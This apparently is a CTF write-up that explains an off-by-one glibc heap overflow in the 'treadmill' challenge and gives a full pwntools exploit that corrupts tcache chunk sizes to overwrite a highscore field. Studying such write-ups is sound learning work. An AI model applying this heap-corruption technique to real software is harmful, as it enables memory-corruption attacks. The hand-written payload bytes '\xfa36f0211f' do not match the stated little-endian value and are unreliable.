Potsdam Cyber Games: Gym 2

Some weeks ago I participated in the Potsdam Cyber Games. As the challenge Gym 2 is a nice introductory heap exploitation challenge, I thought that writing a blog post about it could be helpful for people who are getting into glibc heap exploitation.

You can find all given files of the challenge as well as my exploit in my github repository.

We are given the source code treadmill.c and hence, we do not have to reverse engineer any binaries in this challenge.

First analysis of the program

Let’s first take a look what the program is intended to do:

$ ./treadmill
Tilty the treadmill trainer.
Today's highscore is 133713376942 points by Perry the Platypwny.
[1] Start new training
[2] Exit
>

Okay, it seems that we have some kind of a highscore, we can start a training and exit. Let’s dive deeper into the training:

$ ./treadmill
Tilty the treadmill trainer.
Today's highscore is 133713376942 points by Perry the Platypwny.
[1] Start new training
[2] Exit
> 1
Welcome to your treadmill training. Ready to beat Perry the Platypwny?
But first, tell me your name
> pwner
Nice to meet you, pwner
What do you want to do:

[1] Create a training plan
[2] List training plans
[3] Delete a training plan
[4] Train
[5] Stop training

First of all, we have to enter our name. Afterwards, we have different options which look typical for a heap exploitation challenge since creating a training plan probably will allocate memory on the heap while deleting a training plan probably frees the allocated memory. Additionally, we can list training plans and execute our training.

Creating a training plan

When we create a training plan, we have to enter a name and six pitches:

[1] Create a training plan
[2] List training plans
[3] Delete a training plan
[4] Train
[5] Stop training
> 1
Please give your plan a name.
> power_training
How should it look like? Please enter 6 pitches.
Please provide pitch #1 / 6
> 1
Please provide pitch #2 / 6
> 2
Please provide pitch #3 / 6
> 3
Please provide pitch #4 / 6
> 4
Please provide pitch #5 / 6
> 5
Please provide pitch #6 / 6
> 6
The number of your plan: 0

Afterwards, the index of our created training is returned which is 0 in this case.

Executing the training

Now that we have created a training, let’s show some performance and execute our training:

[1] Create a training plan
[2] List training plans
[3] Delete a training plan
[4] Train
[5] Stop training
> 4
Please enter the number of your training plan.
> 0
Good choice!
You need to train for 120 seconds.
Now setting to pitch 1.000000.
Now setting to pitch 2.000000.
Now setting to pitch 3.000000.
Now setting to pitch 4.000000.
Now setting to pitch 5.000000.
Now setting to pitch 6.000000.
Wow! That was pretty good.

Uhhh, our training takes 120 seconds… If we stop our training, we can see that our score is 1:

[1] Create a training plan
[2] List training plans
[3] Delete a training plan
[4] Train
[5] Stop training
> 5
Your score: 1
Tilty the treadmill trainer.
Today's highscore is 133713376942 points by Perry the Platypwny.

It is a valid guess to say that a training takes a lot of time while it only improves our score by a small number. Hence, beating the highscore by playing the rules would take forever. But who needs rules?

Goal

After getting a first idea of the program let’s think about our ultimate goal here and inspect treadmill.c in more detail. Let’s take a look at the two functions print_reward() and change_highscore():

static void print_reward() {
    const char *flag = getenv("FLAG");
    if (!flag) {
        printf("FLAG is missing.\n");
        return;
    }

    printf("Wow! You reached a new high score. Take this as little reward and present it at the gala dinner: %s\n", flag);
}

static void change_highscore(char *name, size_t score) {
    highscore_t *new_high_score = malloc(sizeof(new_high_score));
    new_high_score->name = name;
    new_high_score->score = score;
    highscore = new_high_score;
    print_reward();
}

We probably have to beat the highscore such that the function change_highscore() is called since it calls the function print_reward() which gives us the flag! Therefore, we do not need to pop a shell in this challenge. We only have to find a way to beat the highscore without training for years.

Implementation

Now, let’s find some bugs and understand how the code is working.

Data structures

There are three main structs which are used, these are training_plan_t, trainee_t, and highscore_t:

typedef struct training_plan {
    double pitches[NUM_PITCHES];
    size_t trainings;
    char *name;
    struct training_plan *next;
} training_plan_t;

typedef struct trainee {
    char *name;
    training_plan_t *training_plans;
} trainee_t;

typedef struct highscore {
    char *name;
    size_t score;
} highscore_t;

Creating a training plan

The implementation of the creation of a training plan reveals that memory on the heap is allocated two times, this is for the struct training_plan_t and the member name of the struct training_plan_t:

            printf("Please give your plan a name.\n> ");
            if (fgets(buffer, sizeof(buffer), stdin) == NULL || feof(stdin)) {
                continue;
            }
            name_len = strlen(buffer);
            while (name_len > 0 && buffer[name_len - 1] == '\n') {
                buffer[name_len - 1] = '\0';
                name_len = strlen(buffer);
            }

            name = malloc(name_len - 1); // [1]
            if (name == NULL) {
                perror("malloc");
                return;
            }

            training_plan_t *plan = (training_plan_t*)malloc(sizeof(training_plan_t)); // [2]
            if (plan == NULL) {
                perror("malloc");
                return;
            }
            plan->name = name;
            plan->next = NULL;
            plan->trainings = 0;

            memcpy(plan->name, buffer, name_len); // [3]
            plan->name[name_len] = '\0';

            printf("How should it look like? Please enter 6 pitches.\n");
            for (size_t i = 0; i < NUM_PITCHES; ++i) {
                printf("Please provide pitch #%zu / %llu\n> ", i + 1, NUM_PITCHES);
                fgets(buffer, sizeof(buffer), stdin);
                plan->pitches[i] = strtod(buffer, NULL);
            }
            // Append plan.
            size_t i = 0;
            if (trainee->training_plans == NULL) {
                trainee->training_plans = plan;
            } else {
                training_plan_t *previous_plan = trainee->training_plans;
                ++i;
                while (previous_plan->next != NULL) {
                    previous_plan = previous_plan->next;
                    ++i;
                }
                previous_plan->next = plan;
            }
            printf("The number of your plan: %zu\n", i);

First, we can determine the name of our training plan which is copied via fgets() into the 2048 bytes large array called buffer. Then, the length of our input string is computed and saved in name_len.

Afterwards, in line 11 (marked with [1]) we can see that memory for name_len - 1 instead of name_len + 1 bytes is allocated! Remember that strings in C end with a null byte and hence, one has to allocate one more byte than the length of the string. However, the programmer must have mixed up the + and - keys. Consequently, two bytes too few are allocated for name.

Then, in line 17 (marked with [2]) memory for our training_plan_t struct plan is allocated. In particular, the member plan->name is set to our allocated name buffer in line 22.

In line 26 (marked with [3]), memcpy() is called and name_len bytes are copied from our controlled buffer into the newly allocated name buffer. As we only allocated name_len - 1 bytes but copied name_len bytes, we have a heap buffer overflow by one byte. Moreover, plan->name[name_len] is set to '\0' to end the string with a null byte in line 27. Therefore, we have a heap buffer overflow by two bytes but can only control one of these two overflowable bytes.

In the end, the new training plan is appended to the linked list of training plans.

Next, let’s inspect how the allocated chunks of memory look like on the heap and create two training plans with the names "AAAAAAAA" and "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB". I am using gdb with the plugin pwndbg. To make debugging easier I add the flag -g in the Makefile and rebuild the binary treadmill. Then I set a breakpoint in gdb at treadmill.c:99 such that the breakpoint is hit each time the menu is shown:

$ gdb treadmill
pwndbg> b treadmill.c:99
Breakpoint 1 at 0x401652: file treadmill.c, line 99.
pwndbg> r
Starting program: /home/c1bero/tmp/gym_writeup/sploit/treadmill
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Tilty the treadmill trainer.
Today's highscore is 133713376942 points by Perry the Platypwny.
[1] Start new training
[2] Exit

```dmill training. Ready to beat Perry the Platypwny?
But first, tell me your name
> pwner
Nice to meet you, pwner

pwndbg> c
Continuing.
What do you want to do:

[1] Create a training plan
[2] List training plans
[3] Delete a training plan
[4] Train
[5] Stop training
> 1
Please give your plan a name.
> AAAAAAAA
How should it look like? Please enter 6 pitches.
Please provide pitch #1 / 6
> 1
Please provide pitch #2 / 6
> 2
Please provide pitch #3 / 6
> 3
Please provide pitch #4 / 6
> 4
Please provide pitch #5 / 6
> 5
Please provide pitch #6 / 6
> 6
The number of your plan: 0


Continuing.
What do you want to do:

[1] Create a training plan
[2] List training plans
[3] Delete a training plan
[4] Train
[5] Stop training
> 1
Please give your plan a name.
> BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
How should it look like? Please enter 6 pitches.
Please provide pitch #1 / 6
> 1
Please provide pitch #2 / 6
> 2
Please provide pitch #3 / 6
> 3
Please provide pitch #4 / 6
> 4
Please provide pitch #5 / 6
> 5
Please provide pitch #6 / 6
> 6
The number of your plan: 1

pwndbg> vis

0x406000        0x0000000000000000      0x0000000000000291      ................
0x406010        0x0000000000000000      0x0000000000000000      ................

[...]

0x406270        0x0000000000000000      0x0000000000000000      ................
0x406280        0x0000000000000000      0x0000000000000000      ................
0x406290        0x0000000000000000      0x0000000000000021      ........!.......
0x4062a0        0x00000000004062c0      0x0000000000406300      .b@......c@.....
0x4062b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4062c0        0x00000072656e7770      0x0000000000000000      pwner...........
0x4062d0        0x0000000000000000      0x0000000000000021      ........!.......
0x4062e0        0x4141414141414141      0x0000000000000000      AAAAAAAA........
0x4062f0        0x0000000000000000      0x0000000000000051      ........Q.......
0x406300        0x3ff0000000000000      0x4000000000000000      .......?.......@
0x406310        0x4008000000000000      0x4010000000000000      .......@.......@
0x406320        0x4014000000000000      0x4018000000000000      .......@.......@
0x406330        0x0000000000000000      0x00000000004062e0      .........b@.....
0x406340        0x0000000000406380      0x0000000000000031      .c@.....1.......
0x406350        0x4242424242424242      0x4242424242424242      BBBBBBBBBBBBBBBB
0x406360        0x4242424242424242      0x4242424242424242      BBBBBBBBBBBBBBBB
0x406370        0x0000000000000000      0x0000000000000051      ........Q.......
0x406380        0x3ff0000000000000      0x4000000000000000      .......?.......@
0x406390        0x4008000000000000      0x4010000000000000      .......@.......@
0x4063a0        0x4014000000000000      0x4018000000000000      .......@.......@
0x4063b0        0x0000000000000000      0x0000000000406350      ........Pc@.....
0x4063c0        0x0000000000000000      0x0000000000020c41      ........A.......         <-- Top chunk

The command vis can be used to visualize the heap. What can be seen here?

The yellow chunk contains our first training_plan_t struct whose char *name member is marked by the red block and points to the blue chunk which was explicitly allocated for the training plan name we entered. In particular, we can see the name "AAAAAAAA" inside the blue block whose hex representation is 0x4141414141414141. Let us note that the first 8 bytes of a chunk give us information about the size of the chunk. In this case the blue chunk starts with 0x21 and hence, the blue chunk consists of 0x20 bytes. The yellow chunk starts with 0x51 and therefore, the yellow chunk consists of 0x50 bytes.

Similarly, the purple chunk is 0x50 bytes large as this is the training_plan_t struct with the name "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" and the size of the struct training_plan_t is constant. In contrast to the blue chunk for the name "AAAAAAAA" with the size 0x20, we need a larger chunk for the name "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" which is the turquoise chunk with a size of 0x30.

Let us recall the definition of the struct training_plan_t:

typedef struct training_plan {
    double pitches[NUM_PITCHES];
    size_t trainings;
    char *name;
    struct training_plan *next;
} training_plan_t;

We can see that the first six 8-btye-blocks in the yellow/purple chunk after the size field 0x51 describe the pitches[NUM_PITCHES] array as NUM_PITCHES = 6. After these six entries the value of trainings is written which is zero in our case since we have not trained yet. Our ultimate goal is to have a trainings value that is larger than the current highscore which is 133713376942.

What happens if we delete a training plan? Let’s find out:

pwndbg> c
Continuing.
What do you want to do:

[1] Create a training plan
[2] List training plans
[3] Delete a training plan
[4] Train
[5] Stop training
> 3
Which plan should be deleted? Enter the number.
> 1
Plan deleted.

pwndbg> vis

0x406000        0x0000000000000000      0x0000000000000291      ................
0x406010        0x0001000000010000      0x0000000000000000      ................

[...]

0x406270        0x0000000000000000      0x0000000000000000      ................
0x406280        0x0000000000000000      0x0000000000000000      ................
0x406290        0x0000000000000000      0x0000000000000021      ........!.......
0x4062a0        0x00000000004062c0      0x0000000000406300      .b@......c@.....
0x4062b0        0x0000000000000000      0x0000000000000021      ........!.......
0x4062c0        0x00000072656e7770      0x0000000000000000      pwner...........
0x4062d0        0x0000000000000000      0x0000000000000021      ........!.......
0x4062e0        0x4141414141414141      0x0000000000000000      AAAAAAAA........
0x4062f0        0x0000000000000000      0x0000000000000051      ........Q.......
0x406300        0x3ff0000000000000      0x4000000000000000      .......?.......@
0x406310        0x4008000000000000      0x4010000000000000      .......@.......@
0x406320        0x4014000000000000      0x4018000000000000      .......@.......@
0x406330        0x0000000000000000      0x00000000004062e0      .........b@.....
0x406340        0x0000000000000000      0x0000000000000031      ........1.......
0x406350        0x0000000000000406      0xfff59d3cb97b4c91      .........L{.<...         <-- tcachebins[0x30][0/1]
0x406360        0x4242424242424242      0x4242424242424242      BBBBBBBBBBBBBBBB
0x406370        0x0000000000000000      0x0000000000000051      ........Q.......
0x406380        0x0000000000000406      0xfff59d3cb97b4c91      .........L{.<...         <-- tcachebins[0x50][0/1]
0x406390        0x4008000000000000      0x4010000000000000      .......@.......@
0x4063a0        0x4014000000000000      0x4018000000000000      .......@.......@
0x4063b0        0x0000000000000000      0x0000000000000000      ................
0x4063c0        0x0000000000000000      0x0000000000020c41      ........A.......         <-- Top chunk
pwndbg> bins
tcachebins
0x30 [  1]: 0x406350 ◂— 0x0
0x50 [  1]: 0x406380 ◂— 0x0
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty

The chunk for the name "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" as well as its corresponding training_plan_t chunk have been freed. The name chunk of size 0x30 was added to the tcachebins[0x30] linked list and the training_plan_t chunk of size 0x50 to the tcachebins[0x50] linked list. If we want to allocate a new chunk of size 0x50, the chunk of the tcachebins[0x50] list is used first before new memory on the heap is allocated.

Development of an exploit

Let’s summarize what we have found out so far:

• When we create a new training plan, a chunk for the training plan name is allocated first and afterwards, a chunk for the training_plan_t struct is allocated.
• After allocating these two chunks, our entered training plan name is copied from buffer to plan->name.
• A training plan name is overflowable by two bytes where we can control the first overflowable byte and the second one is always set to '\0'.
• The size of a training_plan_t chunk is always 0x50 bytes.
• The size of a training plan name depends on the length of our entered training plan name.
• The value trainings of a training_plan_t struct is the eigth 8-byte-block in the corresponding training_plan_t chunk (including the size field). If the value of trainings is larger than 133713376942, we have beaten the highscore and thus, we have won and receive the flag.

How do we get a large trainings value without executing our training?

The basic idea is the following:

• Use the off-by-one heap overflow to overwrite the size field of the next chunk on the heap (let us call the chunk victim chunk whose size field is modified). In particular, edit the size field of the victim chunk such that it is increased. For example, let’s say the victim chunk has the size 0x50. Then, we overwrite the first value of the victim chunk, which is 0x51, by 0x91.
• Afterwards, we free the victim chunk. As the size field was changed from 0x51 to 0x91, the free chunk is not added to the tcachebins[0x50] but to the tcachebins[0x90] list.
• Then, we allocate a name chunk with the size 0x90 and get the victim chunk back from the tcachebins[0x90] list.
• However, remember that the real size of the victim chunk was only 0x50 bytes. Hence, we have an overflow of 0x90 - 0x50 = 0x40 bytes now.
• The idea is to use this increased overflow to overwrite the members of an adjacent chunk of the victim chunk which would be a training_plan_t chunk in the ideal case. In this case, we could overwrite the trainings member and beat the highscore.

This can be done as follows:

• First, create a training plan with the name "A"*0x48 + "\x91".
  • This results in two 0x50 chunks, the first one for the training name and the second one for the training_plan_t struct.
  • As the name chunk was allocated first and our entered name "A"*0x48 + "\x91" is written to this chunk only after the training_plan_t chunk was allocated, we overwrite the size field of the training_plan_t chunk. Hence, its size field 0x51 is replaced by 0x91.
  • On the visualization of the heap can be seen that the coloring is confused as we have corrupted the heap. Hence, I surrounded the training_plan_t chunk with yellow lines. The overwritten size field is marked by a red rectangle:
• As we will overflow this yellow chunk at a later stage of this exploit, we have to build the structure of the heap in such a way that the chunk after the yellow chunk is a training_plan_t chunk.
  • Hence, we first create a training with the name "B"*0x40:
  • Next, we delete this training again: It can be seen, that there are two free chunks in the tcachebins[0x50] list now. If a new training plan is created with a name of (for example) 0x200 bytes, a chunk of the tcachebins[0x50] list is taken for the training_plan_t struct and a new chunk is allocated for the large name with 0x200 bytes.

• Let’s create two new training plans with the name "C"*0x200 and "D"*0x200. Here you can see an excerpt of the heap:

  Please note that we achieved our goal which was placing a training_plan_t chunk after the modified chunk with the overwritten size field 0x91.

• Now, we delete the training plan which has a modified chunk:
  • Great, we see that the chunk, which is marked with yellow lines, consists of 0x50 bytes but was added to the tcachebins[0x90] list due to its overwritten size field (red rectangles).
  • After this chunk there is the training_plan_t chunk for the training plan with the name "C"*0x200". The trainings value of this training plan is marked by an orange rectangle in the screenshot above.
  • Our next and final goal is to overwrite the orange field with 133713376942 + 1 to beat the highscore.
• Finally, we create a training plan with the following name: "E"*8*16 + "\xfa36f0211f":
  • The last value "\xfa36f0211f" is 133713376942 + 1 = 0x1f21f036af in little endian.
  • The size of our name is 8*16 + 8 = 0x88 bytes. As we need additional 8 bytes to save the size field in our chunk, the total size of our chunk would have to be 0x90. Therefore, we should get the free chunk from the tcachebins[0x90] list for our name chunk.

  • Let’s take a look in gdb:

    Yeah, we have overwritten the trainings field, which is marked with the orange rectangle, exactly with our desired value 0x1f21f036af!

• If we finish our training, we receive the flag!

Full exploit

Here you can find my full exploit:

#import sys
from pwn import *

context.update(arch="amd64", os="linux")
BINARY = "./treadmill"

def recv_menu():
    p.recvuntil(b"Stop training\n> ")

def create_training(name):
    p.sendline(b"1")
    p.sendlineafter(b"> ", name)

    # Enter six pitches
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"> ", b"4")
    p.sendlineafter(b"> ", b"5")
    p.sendlineafter(b"> ", b"6")

def delete_training(nr):
    p.sendline(b"3")
    p.sendlineafter(b"> ", nr)

def stop_training():
    p.sendline(b"5")

def main():
    # Start a new training
    p.recvuntil(b"> ")
    p.sendline(b"1")

    # Tell your name
    p.recvuntil(b"> ")
    p.sendline(b"pwner")

    # Create a new training plan where the size field of an adjacent chunk
    # is overwritten with 0x91 by abusing the off-by-one heap overflow
    # vulnerability
    recv_menu()
    create_training(b"A"*0x48 + b"\x91")

    # Create another training plan with a name of size 0x40
    recv_menu()
    create_training(b"B"*0x40)

    # Free the training plan with the name "B"*0x40.
    # Hence there are two free chunks in the tcachebins[0x50] list
    recv_menu()
    delete_training(b"1")

    # Create two more training plans with large names such that
    # the two training_plan_t struct chunks get the two free chunks
    # of the tcachebins[0x50] list
    recv_menu()
    create_training(b"C"*0x200)
    recv_menu()
    create_training(b"D"*0x200)

    # Free the training plan with the name "A"*0x48 + "\x91".
    # Now a chunk with a real size of 0x50 is added to the tcachebins[0x90]
    # list.
    recv_menu()
    delete_training(b"0")

    # Finally, create a training plan such that the name chunk requires 0x90
    # bytes and hence gets the manipulated chunk from the tcachebins[0x90] list
    # whose real size is only 0x50 bytes.
    # Use this overflow to overwrite the trainings value of the training plan
    # with the name "C"*0x200 with the value 0x1f21f036af to beat the highscore.
    recv_menu()
    create_training(b"E"*8*16 + p64(0x1f21f036af))

    # Stop the training such that our highscore is compared with the old
    # highscore
    recv_menu()
    stop_training()

    p.interactive()

if __name__ == "__main__":
    p = process(BINARY)
    main()

Just run it:

$ python3 sploit.py
[+] Starting local process './treadmill': pid 1556902
[*] Switching to interactive mode
Your score: 133713376943
Your score: 133713376943
Wow! You reached a new high score. Take this as little reward and present it at the gala dinner: PCG{TEST_FLAG}

Conclusion

This challenge shows how a small off-by-one heap overflow can be exploited to cause a larger heap overflow, allowing an attacker to overwrite heap data and manipulate sensitive information.